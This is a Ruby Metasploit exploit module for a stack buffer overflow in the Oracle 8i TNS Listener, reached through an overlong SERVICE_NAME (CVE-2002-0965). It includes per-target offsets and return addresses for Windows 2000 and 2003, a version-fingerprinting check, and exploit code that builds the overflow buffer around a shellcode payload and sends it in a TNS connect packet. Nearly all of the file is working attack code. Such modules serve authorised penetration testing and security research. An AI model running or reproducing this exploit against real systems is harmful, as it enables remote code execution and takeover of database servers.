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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::TNS
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Oracle 8i TNS Listener SERVICE_NAME Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Oracle. When
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        sending a specially crafted packet containing a long SERVICE_NAME
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        to the TNS service, an attacker may be able to execute arbitrary code.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2002-0965'],
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          [ 'OSVDB', '5041'],
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          [ 'BID', '4845'],
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          [ 'URL', 'http://www.oracle.com/technology/deploy/security/pdf/net9_dos_alert.pdf' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 600,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\% ()",
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2000)',   { 'Offset' => 6396, 'Ret' => 0x60a1e154 } ],
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          [ 'Oracle 8.1.7.0.0 Standard Edition (Windows 2003)',   { 'Offset' => 6392, 'Ret' => 0x60a1e154 }] ,
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        ],
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      'DefaultTarget' => 0,
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      'DisclosureDate' => '2002-05-27'))
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    register_options([Opt::RPORT(1521)])
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  end
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  def check
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    connect
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    version = "(CONNECT_DATA=(COMMAND=VERSION))"
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    pkt = tns_packet(version)
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    sock.put(pkt)
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    sock.get_once
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    res = sock.get_once(-1, 1)
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    disconnect
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    if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ )
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    connect
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    buff =  rand_text_alpha_upper(target['Offset'] - payload.encoded.length) + payload.encoded
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    buff << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
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    buff << [0xe8, -550].pack('CV') + rand_text_alpha_upper(400)
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    sploit = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=#{rhost}(PORT=#{rport}))(CONNECT_DATA=(SERVICE_NAME=#{buff})(CID=(PROGRAM=MSF))))"
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    pkt = tns_packet(sploit)
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    print_status("Trying target #{target.name}...")
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    sock.put(pkt)
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    handler
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    disconnect
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  end
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end
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